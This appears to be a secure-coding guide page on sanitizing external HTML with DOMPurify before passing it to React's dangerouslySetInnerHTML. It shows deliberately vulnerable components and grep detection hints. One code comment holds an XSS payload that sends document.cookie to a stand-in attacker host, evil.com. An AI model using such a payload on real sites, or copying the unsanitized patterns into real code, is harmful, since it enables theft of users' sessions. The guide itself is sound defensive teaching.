Sanitize All HTML Before Using dangerouslySetInnerHTML
Share
dangerouslySetInnerHTML bypasses React's XSS protection. Always sanitize HTML from external sources with DOMPurify before rendering. [CWE-79 · A03:2021]
React escapes content by default, but dangerouslySetInnerHTML bypasses this protection entirely. If the HTML comes from user input, a database, a CMS, or any external source, it must be sanitized before rendering. Unsanitized HTML enables attackers to inject scripts that steal cookies, session tokens, or perform actions as the user.
Incorrect (rendering unsanitized external HTML):
// ❌ CMS content rendered without sanitizationexport function BlogPost({ content }: { content: string }) { return <div dangerouslySetInnerHTML={{ __html: content }} />}// ❌ User-generated content rendered rawexport function Comment({ body }: { body: string }) { return <div dangerouslySetInnerHTML={{ __html: body }} /> // If body = '<img src=x onerror="document.location=`https://evil.com?c=${document.cookie}`">' // ...the attacker now has the user's cookies}// ❌ Markdown-to-HTML without sanitizationimport { marked } from 'marked'export function MarkdownPreview({ markdown }: { markdown: string }) { const html = marked(markdown) return <div dangerouslySetInnerHTML={{ __html: html }} />}
Correct (sanitize before rendering):
// ✅ Sanitize with DOMPurify (most popular, well-maintained)import DOMPurify from 'isomorphic-dompurify'export function BlogPost({ content }: { content: string }) { const clean = DOMPurify.sanitize(content) return <div dangerouslySetInnerHTML={{ __html: clean }} />}// ✅ Sanitize markdown outputimport { marked } from 'marked'import DOMPurify from 'isomorphic-dompurify'export function MarkdownPreview({ markdown }: { markdown: string }) { const rawHtml = marked(markdown) const clean = DOMPurify.sanitize(rawHtml) return <div dangerouslySetInnerHTML={{ __html: clean }} />}// ✅ Best: use a React markdown renderer that doesn't use dangerouslySetInnerHTMLimport ReactMarkdown from 'react-markdown'export function MarkdownPreview({ markdown }: { markdown: string }) { return <ReactMarkdown>{markdown}</ReactMarkdown>}
Detection hints:
# Find all uses of dangerouslySetInnerHTMLgrep -rn "dangerouslySetInnerHTML" src/ --include="*.tsx" --include="*.jsx"# Check if DOMPurify or sanitize is imported nearbygrep -rn "dangerouslySetInnerHTML" src/ --include="*.tsx" -l | \ xargs grep -L "DOMPurify\|sanitize\|purify"